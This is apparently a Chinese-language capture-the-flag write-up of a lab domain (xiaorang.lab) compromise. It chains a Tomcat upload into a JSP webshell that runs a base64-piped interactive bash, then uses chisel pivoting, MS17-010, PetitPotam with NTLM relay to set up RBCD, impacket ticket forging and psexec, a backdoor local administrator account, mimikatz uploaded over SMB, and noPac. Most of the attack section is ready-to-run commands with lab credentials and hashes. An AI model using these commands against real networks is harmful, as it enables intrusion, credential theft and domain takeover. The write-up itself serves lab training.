flag01

8080端口,猜测tomcat,扫一下目录
发现docs目录,进去看发现该tomcat版本存在文件读取,于是尝试攻击
image.png
发现有一个UploadServlet
image.png
然后使用文件包含反弹shell
image.png
1.jsp

1
2
3
4
5
6
7
8
9
10
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,base64}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

image.png

然后我们传入后读取flag
image.png
然后我们从自己vps中下载fscan和chisel

flag02

下载好后扫描,看看扫描个什么出来,然后我们在自己vps中起chisel
image.png
发现了经典ms17_010
我们kali启动
在一边启动kali时候我们启动chisel将内网映射到我们的vps中,然后这样直接设置rhost就可以,不用走socks了
image.png
emmmm还是别学我,因为里面服务很多,而且没有web服务,走socks会方便很多

flag03

然后我们抓到用户凭据
image.png

然后我们发现在26这台机子上有webdav
image.png

image.png
也存在PetitPotam

1
2
proxychains ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M webdav 
proxychains ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M petitpotam

所以我们可以尝试走强制认证
于是我们先把kali的ssh publickey写到我们控制了的45机器中,然后直接连接
但是我们需要使用PetitPotam和NTLM-Relay打强制认证,那么我们还是需要将流量转发到本机上,这样才能联动NTLM-Relay和PetitPltam

1
2
3
4
5
6
ssh -i id_rsa root@39.98.116.245 -D socks代理:PORT -R \*:79:127.0.0.1:80
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &


proxychains python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
proxychains python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26

其实这里我对这个代理转发纠结了好久为什么这样才能让45的流量转发到本地
这里需要解决的一点就是0.0.0.0和127.0.0.1的区别
0.0.0.0是所有外部都可以访问的地址,但是127.0.0.1只能内网中访问,但是如果你直接设置ssh反向端口转发的话只会监听127.0.0.1,没有办法监听到外部访问80端口的流量,于是这里需要让一个所有外部都可以访问的0.0.0.0地址的80流量转发到127.0.0.1的79端口然后再将79端口的流量转到本机的80端口,让自己127.0.0.1的80端口监听0.0.0.0:80端口流量,从而实现这俩的联动实现强制认证

以及这里为什么ldap后面要用DC的ip,是因为在域中,DC是负责处理LDAP请求的服务器
还有为什么用XR-Desktop作为恶意机器账户来设置RBCD,这包的,如果你不理解这句话,建议重新学一下RBCD

然后我们使用PetitPotam触发XR-LCM3AE8B 认证到172.22.11.76,到这里我们已经强制认证成功了

image.png
然后我们强制认证成功
image.png
之后我们就可以直接申请XR-LCM3AE8B的ST了,然后用我们的银票去打

1
2
3
4
#这里我的hash和上面截图抓到的不一样是因为我中间关了一次靶机,所以这里如果想存payload建议换成自己抓到的
proxychains impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :e96835c0dc9ba2112731814cda166c5a xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6
export KRB5CCNAME=administrator.ccache
proxychains python3 psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk

然后我们拿到flag03
image.png

flag04

然后我们的想法是在这台机子里抓hash,那么我们先添加一个adminstrator用户

1
2
net user fault 123456. /add
net localgroup administrators fault /add

之后我们使用rdesktop登录上去,但是到这里我被一点卡住了,就是怎么传mimikatz上去,所以去找了发现可以使用smbclient去传,于是就出现了这个

1
2
3
4
5
KRB5CCNAME=/home/fault/Desktop/impacket-0.11.0/examples/administrator.ccache proxychains4 python3 smbclient.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26

use C$
cd \windows\temp
put mimikatz.exe #确保mimikatz的路径是对的,我的mimikatz是在当前目录的

然后我们尝试在win中运行mimikatz来抓hash
image.png
至于这里为什么抓到的是zhanghui的可以用,是因为使用ADfind工具查找之后发现他在MA_Admin组,对computer可以创建对象或是向域中添加机器账户,所以可以打通nopac(其实题目考点也说了最后考nopac)
然后我们

1
AdFind.exe -b "CN=Computers,DC=xiaorang,DC=lab" nTSecurityDescriptor -sddl+++
1
proxychains4 python3 noPac.py xiaorang.lab/zhanghui -hashes :1232126b24cdf8c9bd2f788a9d7c7ed1 -use-ldap -create-child -dc-ip 172.22.11.6 -shell 

image.png
就拿到了最后一个flag

域中知识总结

NTLM-Relay

结合名字我们也能知道它是NTLM中继攻击,也就是强制目标服务器或者用户使用LM HASH/NTLM HASH对攻击者的服务器进行认证,然后把这个认证中继到其它服务器中从而进行横向

NTLM-Relay强制认证方式

参考这篇文章
https://forum.butian.net/share/1944
我们这里用到的是PeitiPotam
https://github.com/topotam/PetitPotam
用到的是这个工具

为什么不能直接搞DC

因为目前只发现这一个用户,而且MAQ=0,MAQ就是域中允许计算器账户的数量限制,如果设置为0,那么就没有办法往域中添加计算机账户,impacket的addcomputer有两种方法
image.png
samr受到MAQ=0的限制,ldaps因为没有TLS,所以都用不了
域控存在nopac,但是当前用户对域内没有creatchild的ACL,而且甚至对当前机器没有WriteDacl权限,那么就没有办法修改SanAccountName,这个可以参考这篇文章
https://xz.aliyun.com/t/9997?time__1311=n4%2BxnD0DuDRDcGiGCCD%2Fia4BKPxxj22rTMkdTD#toc-10

RBCD攻击

建议学习这篇文章
https://blog.csdn.net/huohaowen/article/details/139206002